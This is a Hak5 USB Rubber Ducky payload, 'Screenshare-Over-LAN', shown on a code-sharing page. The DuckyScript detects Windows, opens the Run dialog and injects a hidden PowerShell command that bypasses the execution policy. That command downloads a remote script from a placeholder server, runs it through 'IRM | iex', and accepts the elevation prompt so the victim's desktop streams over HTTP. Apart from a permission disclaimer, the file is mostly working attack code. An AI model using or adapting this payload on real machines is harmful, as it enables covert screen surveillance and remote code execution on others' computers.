Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/recon/Screenshare-Over-LAN/Payload.txt
2968 views
1
REM Author: beigeworm
2
REM Title: Screenshare-Over-LAN
3
REM Target: Windows 10/11
4
REM Description: Start up a HTTP server and stream the desktop to a browser window on another device on the network.
5
6
REM **THIS SCRIPT IS INTENDED FOR USE ON SYSTEMS YOU OWN OR HAVE BEEN GIVEN PERMISSION TO USE!**
7
8
REM Replace the URL for your own hosted .ps1 raw file.
9
DEFINE #SCRIPTURL https://yourserver.com/rawfile/Screenshare-Over-LAN.ps1
10
11
REM Define a custom port here (optional)
12
DEFINE #PORT 8080
13
14
REM Funtion to detect Windows is ready for keystrokes
15
EXTENSION PASSIVE_WINDOWS_DETECT
16
REM VERSION 1.1
17
REM AUTHOR: Korben
18
19
REM CONFIGURATION:
20
DEFINE #MAX_WAIT 150
21
DEFINE #CHECK_INTERVAL 20
22
DEFINE #WINDOWS_HOST_REQUEST_COUNT 2
23
DEFINE #NOT_WINDOWS 7
24
25
$_OS = #NOT_WINDOWS
26
27
VAR $MAX_TRIES = #MAX_WAIT
28
WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
29
DELAY #CHECK_INTERVAL
30
$MAX_TRIES = ($MAX_TRIES - 1)
31
END_WHILE
32
IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN
33
$_OS = WINDOWS
34
END_IF
35
36
END_EXTENSION
37
38
IF $_OS != WINDOWS
39
LED_R
40
STOP_PAYLOAD
41
END_IF
42
43
REM Main bad-USB script
44
LED_G
45
GUI r
46
DELAY 750
47
STRING powershell -Ep Bypass -W H -C $port = #PORT;IRM #SCRIPTURL | iex
48
DELAY 250
49
CTRL-SHIFT ENTER
50
DELAY 2500
51
ALT y
52
53